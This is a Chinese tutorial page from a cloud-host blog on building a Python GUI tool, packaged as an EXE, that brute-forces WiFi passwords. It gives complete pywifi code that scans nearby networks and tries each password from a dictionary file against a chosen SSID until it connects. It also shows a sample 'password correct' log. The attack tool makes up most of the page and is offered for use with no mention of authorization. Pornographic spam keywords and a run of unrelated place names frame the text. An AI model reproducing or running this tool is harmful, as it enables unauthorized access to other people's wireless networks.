中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何用python暴力破解wifi密碼EXE應用

發布時間:2022-10-26 09:49:25 來源:億速云 閱讀:301 作者:iii 欄目:編程語言

本篇內容介紹了“如何用python暴力破解wifi密碼EXE應用”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

前置準備-依賴庫

  • comtypes

  • pywifi

  • pyintaller如何用python暴力破解wifi密碼EXE應用

示例:使用pycharm ide 安裝pywifi

如何用python暴力破解wifi密碼EXE應用
當然你也可以直接使用pip install xxx 命令進行安裝

Python tkinter編寫GUI界面

本文使用TKinter實現GUI界面,自己寫界面比較麻煩,可以使用一些可視化的工具(比如QT5)進行快速編排實現GUI代碼自動化。

密碼字典

密碼字典是什么?
簡單的說就是一個提前存放一系列密碼的文本,里面全是數字、數字與字母的組合、手機號、座機號、生日等等。

本文測試時你可以自己手動創建密碼字典;也可以下載以下密碼字典庫
如何用python暴力破解wifi密碼EXE應用

開擼

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打開文件瀏覽
import tkinter.messagebox  # 打開tkiner的消息提醒框

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密碼文件路徑
        self.get_value = StringVar()  # 設置可變內容
        # 獲取破解wifi賬號
        self.get_wifi_value = StringVar()
        # 獲取wifi密碼
        self.get_wifimm_value = StringVar()
        # 抓取網卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一個無線網卡
        self.iface = self.wifi.interfaces()[0]
        # 測試鏈接斷開所有鏈接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 測試網卡是否屬于斷開狀態
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # 自動會調用的函數,返回自身的網卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # 設置窗口
    def set_init_window(self):
        self.init_window_name.title("普帝WIFI破解工具")
        self.init_window_name.geometry('+500+200')

        labelframe = LabelFrame(width=800, height=400, text="配置")  # 框架,以下對象都是對于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="普帝金手指", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi賬號:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定義樹形結構與滾動條
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的標題
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # 搜索wifi
    def scans_wifi_list(self):  # 掃描周圍wifi列表
        # 開始掃描
        print("^_^ 開始掃描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后獲取掃描結果
        scanres = self.iface.scan_results()
        # 統計附近被發現的熱點數量
        nums = len(scanres)
        print("數量: %s" % (nums))
        # 實際數據
        self.show_scans_wifi_list(scanres)
        return scanres
    # 顯示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # 添加密碼文件目錄
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview綁定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # 讀取密碼字典,進行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功!!!')
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密碼錯誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # 對wifi和密碼進行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 創建wifi鏈接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名稱
        self.profile.auth = const.AUTH_ALG_OPEN  # 網卡的開放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
        self.profile.key = pwd_Str  # 密碼
        self.iface.remove_all_network_profiles()  # 刪除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 設定新的鏈接文件
        self.iface.connect(self.tmp_profile)  # 鏈接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判斷是否連接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 斷開
        time.sleep(1)
        # 檢查斷開狀態
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()

打包成exe

pyinstaller -F -w -i 圖標名.后綴 源文件.py

命令解釋看文末解釋

如何用python暴力破解wifi密碼EXE應用

然后到你電腦上python安裝目錄下的Scripts\dist查看你打包的exe應用

如何用python暴力破解wifi密碼EXE應用

演示

雙擊打包后的.exe腳本
如何用python暴力破解wifi密碼EXE應用

STEP1: 點擊搜索附件WIFI
STEP2: 添加密碼文件目錄
STEP3: 點擊普帝金手指進行破解

如何用python暴力破解wifi密碼EXE應用

^_^ 開始掃描附近wifi...
數量: 19
[*] 密碼正確!wifi名:XXXXXXXX,匹配密碼:XXXXXXXX

PS

pyinstaller打包錯誤解決

如出現以下錯誤
struct.error: unpack requires a buffer of 16 bytes
如何用python暴力破解wifi密碼EXE應用

解決方法:使用在線轉換ico工具來轉換圖片就可以了,需要轉換成尺寸為16*16的
使用在線轉換成ico的工具即可

pyintaller 常用打包命令解釋

如何用python暴力破解wifi密碼EXE應用

“如何用python暴力破解wifi密碼EXE應用”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

论坛| 宝山区| 龙口市| 盘山县| 嘉鱼县| 铜梁县| 安多县| 南川市| 南康市| 五台县| 松潘县| 洛宁县| 宜良县| 深圳市| 镇康县| 乌鲁木齐县| 南木林县| 夏邑县| 财经| 兴城市| 泰兴市| 连城县| 罗定市| 庆阳市| 东光县| 盖州市| 荣昌县| 雷州市| 泰和县| 临泉县| 张家口市| 平阳县| 凉城县| 泰兴市| 乌拉特后旗| 博罗县| 随州市| 青田县| 石河子市| 米林县| 达拉特旗|